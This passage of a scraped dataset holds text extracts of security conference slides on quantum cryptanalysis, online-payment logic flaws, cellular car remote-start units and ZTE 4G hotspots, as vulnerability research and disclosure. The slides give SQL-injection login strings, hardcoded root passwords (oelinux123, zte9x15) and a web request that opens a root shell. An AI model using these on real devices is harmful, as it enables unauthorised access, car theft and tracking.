OK\n25"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":82,"cells":{"text":{"kind":"string","value":"Quantum Computers \nvs.\n Computers Security \n@veorq — http://aumasson.jp \nSchrodinger equation\nEntanglement\nBell states\nEPR pairs\nWave functions\nUncertainty principle\nTensor products\nUnitary matrices\nHilbert spaces\nNobody understands this stuff, and you don’t \nneed it to understand quantum computing\n1. QC 101\n2. In practice\n3. Breaking crypto\n4. Post-quantum crypto\n5. Quantum key distribution\n6. Quantum copy protection\n7. Quantum machine learning\n8. Conclusions\n1. QC 101\nQuantum mechanics\nNature’s operating system\nQuantum mechanics\nMathematics\nGravity\nElectromagnetism\nNuclear forces\nApplications\nOS\nHardware\nQuantum mechanics\nParticles in the universe behaves randomly\nTheir probabilities can be negative\n\"Negative energies and probabilities should \nnot be considered as nonsense. They are \nwell-defined concepts mathematically, like a \nnegative of money.\" \n—Paul Dirac, 1942\nα |0⟩ + β |1⟩\nWhen observed\n0 with probability α2\n1 with probability β2\nOnce observed, stays either 0 or 1 forever\nQuantum bit (qubit)\nα0x00 |0x00⟩ + …+ α0xfe |0xfe⟩ + α0xff |0xff⟩ \nAgain, the sum of probabilities α2 equals 1\nThe α’s are called amplitudes\nGeneralizes to 32- or 64-bit quantum words\nQuantum byte\nSet of quantum registers (bits/bytes/words)\nQuantum assembly instructions: \nTransform the probabilities of the register\nProbabilities should still sum to 1\nLinear math transforms (matrix products)\nA program ends with a measurement\nQuantum computer\nQuantum computer simulators\nImpossible with a classical computer\nPossible with a quantum computer!\nThe killer app\nYou heard about NP-complete problems?\nSAT, scheduling, Candy Crush, etc.\nSolution hard to find, but easy to verify\nQC does not solve NP-complete problems!\nQC vs. hard problems\nNNP\nP\n(easy)\nNNP\nNP\n(hard)\nNNP\nBQP (quantum)\nQuantum speedup\nMake the impossible possible\nExample: Factoring integers\nHard classically (exponential-ish) \nEasy with a quantum computer!\nObvious application: break RSA!\nQuantum parallelism\n“Qubits encode all values at the same time!” \nCaveat: you can only observe one result\nDifferent observations in different worlds\n2. In practice\nFactoring experiments\nOnly for numbers with special patterns\nNot really the real thing (Shor)\nConstructing quantum computers\nQubits obtained from physical phenomena\nPhotons (2 polarizations)\nMolecules (2 nuclear spins)\nSuperconducting (different)\nMajor pain: correction or errors\nQubits mixed up with the environment\nQuantum noise\nRecent milestone\nPartial error correction for a 9-qubit state\nGoogle-sponsored research group\nD-Wave\nCanadian company, pioneer in QC research\nAdiabatic computers, not real QC\n512-qubit system\nQuantum annealing\nNo Shor\nStability, error-correction\nHow much will cost “N quantum \noperations” vs “N classical operations”?\nSome algorithms need quantum RAM, \nwhich we don’t really know how to do\nUnlikely to come in the next decade, if ever\nMany challenges\n3. Breaking crypto\nTL;DR: We’re doomed\nRSA: broken\nDiffie-Hellman: broken\nElliptic curves: broken\nEl Gamal: broken\nRSA\nNo more RSA encryption or signatures\nBased on the hardness of factoring\nYou know N = p*q, you search p and q\nHard on a classical computer (most probably)\nEasy on a quantum computer!\nXe mod N for e in [1, 2, 3, …] and some X\nwill repeat with a period dividing (p-1)(q-1)\nA period gives information on p and q!\nShor’s algorithm: \n1. Prepare qubits to encode X,X2,X3,X4, ... simultaneously\n2. Find the period using the Quantum Fourier Transform\n3. Exploits the period to recover p and q\nShor’s idea to factor N=pq\nDiscrete logarithms\nProblem behind Diffie-Hellman, ECC\nYou know g and gy, you search y\nLike factoring, a Hidden Subgroup Problem\nShor works too!\nWhat about symmetric ciphers?\nAES with a 128-bit key:\nClassical: 128-bit security\nQuantum: 64-bit security\nGrover’s algorithm: searches in N items in \nO(√N) time and O(log N) memory\nSolution: upgrade to 256-bit AES\n4. Post-quantum crypto\nAlternatives to RSA, Diffie-Hellman, ECC\nResistance to QC can’t be totally proved\nhttp://pqcrypto.org/ \nPost-quantum crypto\nHash-based signatures\nProblem: inverting hash functions\nIdeas from Lamport (1979), Merkle (1989)\nExample of SPHINCS:\n(http://sphincs.cr.yp.to/) \n41 KB signatures\n1 KB public and private keys\nSlow (100s signatures/sec)\nMultivariate signatures\nProblem: solve complex systems of equations\nFirst ideas in the 1980s\n0 =X1X2X3 + X1X3 + X2X4\n1 = X1X3X4 + X2X3X4\n0 = X1X3 + X2X3\nMany schemes have been broken...\nCode-based crypto\nProblem: decoding error-correcting codes\nSchemes: McEliece (1979), Niederreiter (1986)\nLimitations:\nLarge keys (100 KB+)\nFewer optimized implementations\nLattice-based crypto\nBased on lattice problems (duh!)\nLearning-with-errors: learn a simple function \ngiven results with random noise\nEncryption, signature\n5. Quantum key distribution\nQuantum key distribution (QKD)\nUse of quantum phenomena to share a key\nKind of “quantum Diffie-Hellman”\nNot quantum computing\nNot quantum cryptography\n“Security based on the laws of physics”\nEavesdropping will cause errors\nKeys truly random\nBB84\nFirst QKD protocol, though not really quantum\nIdea:\nSend bits in the form of polarized photons\nCan be observed in 2 ways, only one is right\nCaveats\nLike any security system, it’s complicated\nSecurity\nEventually relies on classical crypto\nTypically with frequent rekeying\nQKD implementations have been attacked\n\"Quantum hacking\"\n(formerly NTNU, Norway)\nDeployment\nDedicated optical fiber links\nPoint-to-point, limited distance (< 100 km)\n6. Quantum copy protection\nQuantum copy protection\nIdea: leverage the no-cloning principle\n(cos you can't know everything about something)\nQuantum cash\nImpossible to counterfeit, cos' physics (1969)\nBills include qubits with some secret encoding\n ⬆ ⬈ ⬇ ⬅⬉⬇⬈ ⬈ ⬆\n Only the bank can authenticate bills...\nPublicly verifiable quantum cash\nAnyone can verify that a bill isn't counterfeit\nUses public-key crypto, non-quantum\nCan be secure even with black-box verification\nQuantum software protection\nUsing quantum techniques:\n\"Obfuscate\" the functionality\nMake copies impossible\nverify(pwd) {\nreturn pwd == \"p4s5w0rD\"\n}\n1. Turn verify() into a list of qubits\n2. Verification: apply a transform that depends \non pwd, then measure the qubits\n7. Quantum machine learning\nMachine learning\n“Science of getting computers to act without \nbeing explicitly programmed” —Andrew Ng\n Supervised\n Non-supervised\nSuccessful for spam filtering, fraud detection, \nOCR, recommendation systems\nNo silver bullet, but may help \nML being used for\nIntrusion detection (network, endpoint)\nBinary vulnerability discovery\nNevertheless, vendors give neither\nDetails on the techniques used, nor\nEffectiveness figures or measurements\nMachine learning and security\nQuantum machine learning\n“Port” of basic ML techniques to QC, like\nk-mean clustering\nNeural networks\nSupport vector machines\nMany use Grover for a square-root speedup\nPotential exponential speedup, but...\nQuantum RAM (QRAM)\nAwesome concept\nAddresses are given in superposition\nRead values are retrieved in superposition\nMany QML algorithms need QRAM\nBut it'd be extremely complicated to build\n8. Conclusions\nQuantum computers s***\nBecause they... \nARE NOT superfaster computers\nWOULD NOT solve NP-hard problems\nMAY NEVER BE BUILT anyway\nQuantum computers are awesome \nBecause they…\nWould DESTROY all pubkey crypto deployed\nGive a new meaning to \"COMPUTING\"\nMay teach us a lot about physics and Nature\nThank you!"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":83,"cells":{"text":{"kind":"string","value":"Security Vulnerabilities on Online \nPayment: Summary and Detection \nQing Zhang(VulpeckerTeam@Qihoo 360) \nJoint work with \nGuangdong Bai (Faculty Member in SIT), Ye Zhou (VulpeckerTeam@Qihoo 360) \n« \n01 \nWeb 3.0时代的\n安全漏洞 \n层出不穷的支付安全漏洞 \n1 \nBlack Hat US 2016. Mendoza. Samsung Pay: \nTokenized Numbers, Flaws and Issues. \nToken泄露 \nIEEE S&P 2011: Rui Wang et.al. How to \nShop for Free Online Security Analysis of \nCashier-as-a-Service Based Web Stores \n支付协议实现的安全漏洞 \n• NDSS 2014: Pellegrino et.al. Toward Black-Box \nDetection of Logic Flaws in Web Applications \n• NDSS 2014: Sun et.al. Detecting Logic \nVulnerabilities in E-Commerce Applications \n开源商庖代码的安全漏洞 \n为什么这么多的支付安全漏洞呢？ \n2 \n支付安全漏洞一般是涉及协议以及逻辑方面较之其他安全漏洞更难察觉。 \n开发者缺乏支付安全的知识储备与开发经验。 \n电商网站使用开源代码，更新不及时，存在严重的支付安全风险。 \n移动端带来了新的攻击面。 \n第三方支付掉链子。 \n安全通信协议不安全。 \n薅羊毛 \n影响 \n 由亍支付过程涉及金钱，因此支付安全漏洞较之其他类型的安全漏洞具有更高\n的敏感性和危害性。 \n3 \n资金蒸发 \n0元支付 \n。。。 \n我们的工作 \n4 \n2 \n支付漏洞的检测与防护 \n在线支付漏洞的研究及挖掘 \n1 \n•\n总结了15种类型的在线支付的安全漏洞 \n•\n研究了80多个电商网站以及APP，共检测到8种新型支付漏洞 \n（所有漏洞均已告知商家，现已修复） \n3 \n现在以及未来工作 \n•\n支付协议的形式化验证 \n« \n02 \n那些“便宜的” \n商品 \n类型一：支付金额完整性 - 篡改支付金额 \n支付流程及攻击方式 \n5 \n示例一：某VPN贩买网站 \n6 \n类型二：订单完整性 - 订单生成后加货物 \n示例来源：Rui Wang et.al IEEE S&P 2011 \n7 \n类型三：支付凭证重放 \n 贩买成功后，会有一个从银行向商户网站跳转的过程，如果这个过程反复的\n重放，有可能会导致商品的反复贩买和增加，但是用户不需要支付更多的金钱。 \n8 \n类型三：支付凭证重放 - 中间人攻击 \n 攻击者设置一个商家，并向自己支付，然后将支付成功的消息重放到正\n常商家。 \n9 \n商家 \n欺诈\n者 \n冒牌\n商家 \n选择产品然后\n到支付页面 \n告诉商家我已\n支付成功 \n贩买跳转到银行 \n选择与在正常商家一致的\n产品，并模拟所有参数，\n最主要是模拟返回地址 \n类型四：第三方支付漏洞导致所有商家信息泄露 \n漏洞原因： \n•\n第三方支付完成后，页面从支付网站跳转到商家网站 \n•\n如果修改支付订单的订单号，页面自动跳转到该订单对应的商家 \n•\n跳回的页面中含有用户在商家的订单信息 \n•\n遍历订单号，攻击者可以获取在该第三方支付网站上支付成功的所有订单 \n10 \n11 \n示例：X钱支付 \n危害性： \n据我们统计，数千家在线贩物网站受到此漏洞的影响。 \n我们在X宝支付等其他第三方支付平台发现\n过同样类型的漏洞。 \n12 \n类型五：数字签名未覆盖完整 \n 此案例金额已经做了签名校验，但是仍然有一个未签名的参数会对最后\n的交易造成影响从而导致了问题的发生。@koohik \n13 \n类型六：订单替换 \n14 \n15 \n类型七：货币单位完整性 - 货币单位替换 \n这种问题多发生在paypal等国际支付的场景。 \n16 \n示例：这是一个印尼盾变美元的故事。。。 \n17 \n类型八：溢出攻击 - 金额数字溢出 \n 如果支付过程中没有对支付金额的上限进行安全控制，那么有可能会导致程序进入异常处理\n流程。比如说买不管买多少货物金额都是固定的，再严重一点就会导致0元支付。 \n@imlonghao \n18 \n类型九：顺序执行缺陷 \n贩买过程： \n19 \nA \nB \nC \nD \n支付 \n@sex is not show \n20 \n示例：轻松买票 \n类型十：用户完整性 - 用户替换 \n 花别人的钱买自己的东西。 \n21 \n示例：瞬间成为初创员工有木有。。。 \n22 \n类型十一：密钥泄露 \n 内置支付功能的app为了设计上的方便有可能会把私钥硬编码到代码戒配置文件中， \n导致攻击者反编译apk之后获取密钥信息使得交易信息可以被篡改。 \n23 \n类型十二：凼数修改 \n apk反编译之后的凼数修改，有可能导致商家在最后一步向支付方提交订单时未验证 \n信息的准确性，虽然此时已经对信息进行签名，但是仍然被篡改。 \n24 \n25 \n示例：篡改支付信息 \n类型十三：越权获取其它订单信息 \n尤其是针对亍虚拟商品，例如电影票，团贩券，各种账号获取码等。。。 \n26 \n类型十四：暴力破解 \n 如果第三方支付使用md5值作为签名校验，并且约定的密钥过短，便可以对其进行 \n暴力破解，获取密钥值。 \n27 \n类型十五：可能影响到支付的底层漏洞 \n 典型的例子是openSSL heart bleed漏洞。漏洞可能会导致支付过程中使用的RSA私钥被泄漏。 \n28 \n29 \n贡献给社区 \n30 \n« \n03 \n全场景的 \n支付安全保护模型 \nModel Checking \n 模型检测(model checking)是一种很重要的自动验证技术。主要通过显式状态搜索戒隐式不动点计 \n算来验证有穷状态并发系统的模态。由亍模型检测可以自动执行,并能在系统不满足性质时提供反例路径， \n因此在工业界比演绎证明更受推崇。 \n31 \n漏洞检测 \n模型检验的成功之处在亍它用自动搜\n索代替手动证明来解决验证的问题。 \n32 \n• Keyless System \n• 软件设计问题，与设计模式类似 \n• 软件逻辑错误，比如支付逻辑错误 \nEdmund Clarke \n33 \nThree researchers won ACM Turing Award \n2007 for their pioneer work on model \nchecking. \nIntel i7 processor is verified by symbolic \nmodel checking completely without \nexecuting a single test case! \n防范模型 \n支付后 \n支付中 \n支付前 \n34 \n1、检查边支付金额界值 \n支付中的漏洞一般很少出\n现，因为由银行戒者是第\n三方管理，目前可以利用\n的有SSL以及根证书欺骗\n等第三方支付问题。 \n2、检查支付数量边界值 \n3、金额不要直接传输 \n4、使用订单号的方式\n传输订单 \n5、对所有的贩买信息\n进行签名 \n6、经常更换签名密钥 \n1、检测签名是否正确 \n2、检测订单号是否正确 \n3、检测订单号对应的\n数量是否正确 \n4、检测订单号对应的\n金额是否正确 \n5、检测订单号对应的\n产品是否正确 \n6、检测收款人是否正确 \n方法概览 \n协议模型 \n攻击模\n型 \n模型检\n测者 \n有攻击路径 \n商户和第三方支\n付模型执行者 \n模拟我们总结的\n15种支付类型 \n我们使用了state-\nof-the-art 这个模\n型检测过程 \n35 \nModeling Protocol in CSP# \n•\n每个协议的参与者(包括商家、第三方支付、以\n及用户) 都被模拟当作一个过程 \n•\n每个参与者都被独立和同时的运行 \n•\n行为被模拟成事件和内联程序 \nP ::= STOP \n | P1 ||| P2 \n | P1 |{X}| P2 \n | ch!a | ch?x \n | e{program} \nP \n | if c then P1 \nelse P2 \n |P1 [] P2 \n(end of a process) \n(interleaving) \n(synchronization) \n(communication \nchannels) \n (event) \n (conditional \nbranch) \n (choice) \n36 \n检测模型&安全実计 \n订单号： \nOrder/OrderId/Order_id/out_trade_no/tradeNo/*trade*/*order*/payno*/payment_id/paymentId/merc_tranid/*tranid* \n价格： \n*Price*/*total_fee*/*amount*/*amt* \n数量： \n*Number*/*quantity* \n物品ID: \nitemId/item_id \n用户: \nUser/usr \n通知地址： \nNotifyurl/notify_url/return_url/returnurl/show_url/showurl \n商户: \nDefault_partner/*partner* \n签名方式 \nSign_type/signtype \n密钥： \nPRIVATE(大写)/private_key/*MD5*/*key* \n签名： \nSign*/*verify_sign*/*auth* \n37 \nDooland模型 \nFunctions \nmakeOrder(id,\nnumber) \nEnsureOrder() \ncheckOrder() \nPay() \ngetAllGoods() \ngetPayType() \ngetShouldPay() \ngetPayAct() \nVerification \n38 \n« \n04 \nThanks & QA \nQing Zhang@360 VulpeckerTeam"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":84,"cells":{"text":{"kind":"string","value":"Your Car Is My Car\nAbout me\n●\nSoftware Engineer by trade\n●\nHacker by passion\n●\nLock picker for fun\n●\nThe best puzzles are not meant to be solved\n●\nAll opinions are my own, and may not reflect those of my past, present, or \nfuture employers\n●\nTwitter: @Jmaxxz\nBackstory\nImage Source:https://commons.wikimedia.org/wiki/File:Raynauld.jpg\nTraditional car ignitions\n●\nLock + Switch\nImage source: https://www.autozone.com/batteries-starting-and-charging/ignition-switch/duralast-ignition-switch/342354_0\n\"Modern\" Car Ignitions\n●\nLock + Electronic Lock + Switch\n\"Data-link\" bus\n5V UART 9600 BAUD\n0C 0E 03 32 03 FF FF F1 35 0D\nStart Sentinel\nEnd Sentinel\nDirection\n(I.E. Garbage)\nCommand\nLength\nPayload\n(Address)\nChecksum\nDemos\nParticle.io firmware can be found at:\nhttps://github.com/jmaxxz/OpenRemoteStart\nMyCar (Cellular Remote)\nMyCar AKA\n●\nLinkr-LT1\n●\nMyCar Kia\n●\nVisions MyCar\n●\nCarlink (CL6)\nHow does this happen?\nRX\nTX\nTips for using Uart\n●\n3.3v 115200 baud uart\n●\nChange server\nAT+XIP=\"173.27.224.18\",46033\n●\nroot password is oelinux123\n●\nhttps://fccid.io/2AEB4AG21/User-Manual/User-manual-3104674\nRX\nTX\nDemo\nExample Vectors\nUntargeted (admin)\nUserName: API\nPassword: f\") OR \"1\"<>\"1\nTargeted\nUserName: example@example.com\" OR (\"1\"<>\"1\nPassword: a\") OR \"1\"<>\"1\nRemote Starting a Car\nDemo\nGetting Command Status\nNo Direct Object Reference?\nDuplicate Information\n●\nUSER_EMAIL ≈ ACCOUNT_ID \nDuplicate Info Can Lead to Bugs\n// Case 3\nif(USER_EMAIL owns ACCOUNT_ID) {\nDoCommand();\n}\n// Case 4\nif(USER_EMAIL owns ACCOUNT_ID AND\n ACCOUNT_ID owns DEVICE_ID){\nDoCommand();\n}\n// Case 1\nif(USER_EMAIL owns DEVICE_ID){\nDoCommand();\n}\n// Case 2\nif(ACCOUNT_ID owns DEVICE_ID){\nDoCommand();\n}\nDirect Object Reference\nAn attacker could Remotely\n●\nLocate car\n●\nUnlock car\n●\nStart car\n●\nLock car\n●\nTrigger alarm\n●\nEdit car\n●\nCheck the status of any command\nMyCar's Fix For Hardcoded Password\nOld:\nNew:\nReverse Proxies Don't Fix Everything\nMyCar shows your\ncar's current location\nBut…\nAnd track the most common places you visit\nUnlike public cloud environments that battle for priority, \nProcon Analytics use virtual private cloud that supports only \nour customers and applications with no interference from \nother users. This dedicated, highly secure environment \nensures higher availability and faster delivery of service.\n...\nWhen you partner with Procon Analytics, you can be assured \nthat your data is secure and protected.\nHow does this happen?\nHow do we stop it?\n●\nhttps://fortin.ca/en/evo-one.html [Evo One page on Fortin website]\n●\nhttps://commons.wikimedia.org/wiki/File:Raynauld.jpg [image of hand with Raynaulds]\n●\nhttp://www.lescodistributing.com/1117_Omega.pdf [Image of LINKR-LT1 ad]\n●\nhttps://www.autozone.com/batteries-starting-and-charging/ignition-switch/duralast-ignition-switch/342354_0 [Ignition switch]\n●\nhttps://cdn02.fortin.ca/download/57211/evo-one_ig_tha_bi_sub1-forester-wrx-sti-2015_key_b_57211.pdf [Fortin One install manual \nSubaru Impreza 2012]\n●\nhttps://fortin.ca/download/64631/omega-linkr-lt1-install-guide-64631.pdf [omega linkr-lt1 install guide]\n●\nhttps://www.chicagotribune.com/suburbs/lake-county-news-sun/ct-keyless-ignition-risk-met-20150618-story.html [Remote Started \ncar almost kills couple, CO poisoning]\n●\nhttps://www.youtube.com/watch?v=6kwQtugSZ9g [Mustang Accident, Remote Starter]\n●\nhttps://www.youtube.com/watch?v=j6Wntha7ft8 [Top 3 Ways Thieves Steal Cars]\n●\nhttps://www.youtube.com/watch?v=2v5dNCR7NJ4 [Gone in Under 60 seconds...Auto/Truck Theft]\n●\nhttps://fortin.ca/en/qa/87632/can-get-datalink-protocol-and-technical-specs-if-looking-develop-remote-start-interface-device\n●\nhttp://phillipsind.com/media_relations/press_releases/1273\n●\nhttp://connected-holdings.com/portfolio_page\n●\nhttps://proconanalytics.com/\n●\nhttps://en.wikipedia.org/wiki/The_Market_for_Lemons\n●\nhttps://www.iii.org/fact-statistic/facts-statistics-auto-theft [Car theft data for USA]\n●\nThanks to Twitter: @lizzymcfarland [For proofreading my bio and abstract]\nSources + Misc links"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":85,"cells":{"text":{"kind":"string","value":"Reverse-engineering 4G hotspots\nfor fun 😄, bugs 🐜 and net financial loss 💸.\nWho am I?\nHardware at Pen Test Partners.\nSpent a lot of time in routers and \nmodems for the past few years.\nDid a bunch of certs & a bunch of CVEs to \nprove something?\nTinkered with BitFi hacking last year.\nLove to use pseudonyms. \nWhat am I talking about today?\n4G hotspots AKA cellular routers!\n1.\nWhy cellular routers?\n2.\nAttack surface/threat model.\n3.\nExample: ZTE MF910 (et al)\n4.\nExample: Netgear Nighthawk M1\n5.\nMiserable conclusion\nScary!\n(apparently)\n5G is coming - so what?\nMore consumers & business users will use \ncellular for daily TCP/IP.\nMore modems, dongles and routers in the \nworld.\nNot been much public scrutiny on \nconsumer cellular networking gear in \nparticular?\nWhat’s up with cellular routers?\nNot many vendors doing cellular kit.\nLots of code reuse in the industry. \nAll computers are terrible.\nThere’s probably some bugs, eh?\nCellular Basics!\nThey do TCP/UDP/IP over cellular these days!!\nNot inherently secure (obviously?)\nAPN ~= a LAN you don’t control.\nMight be well configured!\nOr might be crap.\nRegardless, you’re still on a LAN\n= not on Shodan\nhttps://blog.radiatorsoftware.com/2016/07/flexible-m2miot-service-with-radiator.html\nAPN Security\nOn a well-configured APN \n(private/M2M/IoT-specific) we might see:\n●\nClient segregation\n●\nOutbound web filtering/proxy\n●\nInternal DNS\n●\nIMEI filtering\n●\nIMEI/ICCID pair filtering\n●\n“Anomalous behaviour” detection\n●\nAnything you’d hope to see on any private \ncorporate network!\nNot always the case. \nHigher-Risk Attack Surface (Actual bugs)\nWeb configuration interface\nOld-fashioned RCE if exposed to the WAN.\nClient-side (CSRF)\nRCE on other TCP/UDP services\nRCE via SMS/MMS??\nIf you know the phone #\nLower-Risk Attack Surface (Not really bugs?)\nI like having a shell on my router though!\nAny physical way to grab info or get shells:\nUSB\nFlash memory\nBootloader\nUART\nJTAG/SWD\nWhatever proprietary nightmare interface.\nThese are more often useful or interesting for \nus, rather than risky for day-to-day users.\nWhat do I want from a router?\nExternal baddies? No thanks! 😠\nBad JavaScript doing CSRFs? No thanks! 😠\nI have regular router requirements\nExternal baddies? No thanks! 😠\nBad JavaScript doing CSRFs? No thanks! 😠\nBut I want a shell! 😜\nI want to do stuff on my OWN routers for my OWN \nreasons! 😙\nMainly (but not always) finding bugs! 🐛\nI have regular router requirements\nLet’s do hacks\nGeneric Router Hacking Methodology\nDo a bit of research: what’s been done \nbefore on this or similar devices?\nGet firmware if available, get similar \nfirmware if not.\nGet a shell & find bugs (or vice-versa).\n(Not necessarily in this order)\nCase Study One: “Low End” - ZTE MF910 \nZTE MF910 - Why this modem?\nEnd of life\nCheap af (~€20?)\nQualcomm MDM SoC (really common)\nZTE are massive\nZTE make a lot of stuff\nZTE MF910 - Caveats\nZTE MF910 - Caveats\nThere might be 0-days ahead.\n“Might”, because ZTE don’t \nappear to be good at triage.\nZTE MF910 - Rough Report Process\nUs: “The MF910 has lots of holes in it” \nZTE: “MF910 is end of life” \nUs: “Please check your currently supported devices for the same issues”\nZTE: “The MF910 is end of life”\nUs: “Ok, fine, we did it, the MF920 has essentially the exact same issues”\nZTE MF910 - The state of this thing\nZTE: “Ok, here’s 2 CVEs \nwhich mention only the \nMF920, plus the \ndisclosure won’t be \nindexed on our website”\nZTE’s End of Life Policy\n“the internal delisting announcement of each product will be released in time, and \nthe external delisting announcement will be released only when the customer \nexplicitly requests it” \n“Unless the carrier customer requests the product delisting announcement,there is \nno public product delisting announcement”\nZTE won’t tell the public when devices are end of life, and will only make public \nannouncements if a customer/Telco asks them to. \nOr you just have to e-mail them to ask for each specific product? Not entirely \nsure.\nZTE MF910\nZTE MF910 - Hardware Highlights\nQualcomm MDM9225 SoC\nZTE MF910 - Hardware Highlights\nQualcomm MDM9225 SoC\nJSC JSFCBB3Y7ABBD Combination \nNAND/RAM\nZTE MF910 - Hardware Highlights\nQualcomm MDM9225 SoC\nJSC JSFCBB3Y7ABBD Combination \nNAND/RAM\nNice test pad array\nMicro USB interface\nZTE MF910 - The state of this thing\nZTE MF910 - Known Knowns\nPut the MF910 into adb mode over USB. \n= unauthed root shell on the device over USB.\nTo trigger (post-auth) hit:\n/goform/goform_set_device_process?\ngoformId=USB_MODE_SWITCH&usb_mode=6\n$ adb shell\nsh-4.2# whoami\nroot\nSources:\nhttps://blog.hqcodeshop.fi/archives/255-ZTE-MF910-Wireless-Router-reviewed.html#c2189\nhttps://packetstormsecurity.com/files/140674/Telstra-4Gx-Portable-Router-Persistent-Root-Shell.html\nhttps://4pda.ru/forum/lofiversion/index.php?t543708-2480.html\netc...\nZTE MF910 - Known Knowns\nVery well-known.\nPresent in quite a few \ndifferent official ZTE models.\nI’ve also seen it in a few \n“non-official” ZTE-built devices \ntoo.\nZTE MF910 - goform_set_cmd_process - MODE_SWITCH\nMODE_SWITCH does basically exactly the same thing (but post-auth). \nswitchCmd parameter takes the value FACTORY. \necho %s > /sys/bl/ah/debug_enable -> system() \nZTE MF910 - “Fun” is subjective?\nZTE MF910 - System architecture\nThe system itself is really familiar, nothing particularly outlandishly interesting.\nARM core, running old-ish embedded Linux (like most routers)\nsh-4.2# dmesg \n[ 0.000000] Booting Linux on physical CPU 0\n[ 0.000000] Initializing cgroup subsys cpu\n[ 0.000000] Linux version 3.4.0+ (scl@SCL_XA242_191) (gcc version 4.6.3 \n20111117 (prerelease) (GCC) ) #1 PREEMPT Fri May 30 19:57:07 CST 2014\n[ 0.000000] CPU: ARMv7 Processor [410fc051] revision 1 (ARMv7) , cr=10c53c7d\n[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, VIPT aliasing \ninstruction cache\n[ 0.000000] Machine: Qualcomm MSM 9625 (Flattened Device Tree), model: \nQualcomm MSM 9625V2.1 CDP\n...\nZTE MF910 - Root password set on boot\nsh-4.2# cat /etc/rcS-zte \n#!/bin/sh\n...\nset_passwd()\n{\necho \"root:zte9x15\" > /tmp/tmppw\nchpasswd < /tmp/tmppw\nrm -rf /tmp/tmppw\n}\nset_passwd\n#start up telnetd for debug use\ntelnetd\n...\nDefault root password is zte9x15 (maybe some vendors set a different one?)\nIf you flush iptables/delete the rules from rcS scripts you can get in over SSH.\nZTE MF910 - System architecture\n# ls -al /usr/bin\ntotal 9866\n...\n-rwxr-xr-x 1 root root 39064 Aug 28 2014 QCMAP_CLI\n-rwxr-xr-x 1 root root 171928 Aug 28 2014 \nQCMAP_ConnectionManager\n-rwxr-xr-x 1 root root 7636 Aug 28 2014 QCMAP_StaInterface\n-rwxr-xr-x 1 root root 73836 Aug 28 2014 QCMAP_Web_CLIENT\n...\n-rwxr-xr-x 1 root root 8196 Aug 28 2014 diag_klog\n-rwxr-xr-x 1 root root 16932 Aug 28 2014 diag_mdlog\n-rwxr-xr-x 1 root root 8420 Aug 28 2014 diag_uart_log\n-rwxr-xr-x 1 root root 7932 Aug 28 2014 diagrebootapp\n...\n-rwxr-xr-x 1 root root 188248 Aug 28 2014 gdbserver\nLOADS of stock binaries and debug binaries including what look like \nsome Qualcomm DIAG test binaries and gdbserver.\nZTE MF910 - At least there’s some iptables rules\nsh-4.2# iptables -S \n-P INPUT ACCEPT\n-P FORWARD ACCEPT\n-P OUTPUT ACCEPT\n-N fota_filter\n-N macipport_filter\n-N wifi_filter\n-A INPUT -p udp -m udp --dport 22 -j DROP\n-A INPUT -p tcp -m tcp --dport 22 -j DROP\n-A INPUT -j wifi_filter\n-A INPUT -j fota_filter\n-A INPUT -i rmnet0 -p icmp -m icmp --icmp-type 0 -j ACCEPT\n-A INPUT -i rmnet0 -p tcp -m tcp --dport 80 -j DROP\n-A INPUT -i rmnet0 -p icmp -j DROP\n-A INPUT -i rmnet0 -p tcp -m tcp --dport 22 -j DROP\n-A INPUT -i rmnet0 -p udp -m udp --dport 22 -j DROP\n...\nThere’s a few iptables rules, but it’s a default ACCEPT policy...\nZTE MF910 - At least there’s some iptables rules\n...\n-A INPUT -i rmnet0 -p tcp -m tcp --dport 23 -j DROP\n-A INPUT -i rmnet0 -p udp -m udp --dport 23 -j DROP\n-A INPUT -i rmnet0 -p tcp -m tcp --dport 53 -j DROP\n-A INPUT -i rmnet0 -p udp -m udp --dport 53 -j DROP\n-A INPUT -i rmnet0 -p tcp -m tcp --dport 1900 -j DROP\n-A INPUT -i rmnet0 -p udp -m udp --dport 1900 -j DROP\n-A FORWARD -j macipport_filter\nBlocking some ports which aren’t used, & not blocking everything.\nZTE MF910 - Potential TCP/UDP attack surface\nActive Internet connections (only servers)\nProto Recv-Q Send-Q Local Address Foreign Address State PID/Program name \ntcp 0 0 127.0.0.1:5037 0.0.0.0:* LISTEN 254/adbd\ntcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 569/zte_topsw_goahe\ntcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN 653/dnsmasq\ntcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 290/dropbear\ntcp 0 0 :::53 :::* LISTEN 653/dnsmasq\ntcp 0 0 :::22 :::* LISTEN 290/dropbear\ntcp 0 0 :::23 :::* LISTEN 535/telnetd\nudp 0 704 0.0.0.0:42803 0.0.0.0:* 531/syslogd\nudp 0 0 0.0.0.0:53 0.0.0.0:* 653/dnsmasq\nudp 0 0 0.0.0.0:67 0.0.0.0:* 653/dnsmasq\nudp 0 0 0.0.0.0:4500 0.0.0.0:* 603/zte_topsw_wispr\nudp 0 0 :::53 :::* 653/dnsmasq\nsyslogd, dnsmasq, & zte_topsw_wispr exposed remotely\nzte_topsw_goahead CSRF/LAN-side only\nZTE MF910 - zte_topsw_goahead\nzte_topsw_goahead\nZTE MF910 - Web Interface Black Box\nAll requests which “do something” are made \nto /goform/* API endpoints.\n-\n/goform/goform_get_cmd_process\n-\nFor reading data.\n-\n/goform/goform_set_cmd_process\n-\nFor writing data. \nZTE MF910 - Web Interface Topology\ngoform_get_cmd_process\ncmd\nmulti_data\ngoform_set_cmd_process\ngoformId\ncustom params\nisTest seems useless.\nZTE MF910 - zte_topsw_goahead - Secret Endpoints\nThere’s a lot more endpoints in the \nbinary than we see from normal use.\nNot all of them do much, or are that \ninteresting. It’s a lot of leftover code, \nwhich increases the attack surface.\nZTE MF910 - goform_set_cmd_process - Pre-Auth Surface\nSome goformId functions are \nexplicitly “whitelisted”: these can be \ninteracted with before \nauthentication.\nFound a nice new way to enable \nadb pre-authentication though...\nZTE MF910 - zte_topsw_goahead\nZTE MF910 - goform_set_cmd_process - SET_DEVICE_MODE\nSET_DEVICE_MODE takes a parameter with the name debug_enable.\nJust pure echo’s that parameter to /sys/bl/ah/debug_enable -> system()\nZTE MF910 - goform_set_cmd_process - SET_DEVICE_MODE\n$ curl -i 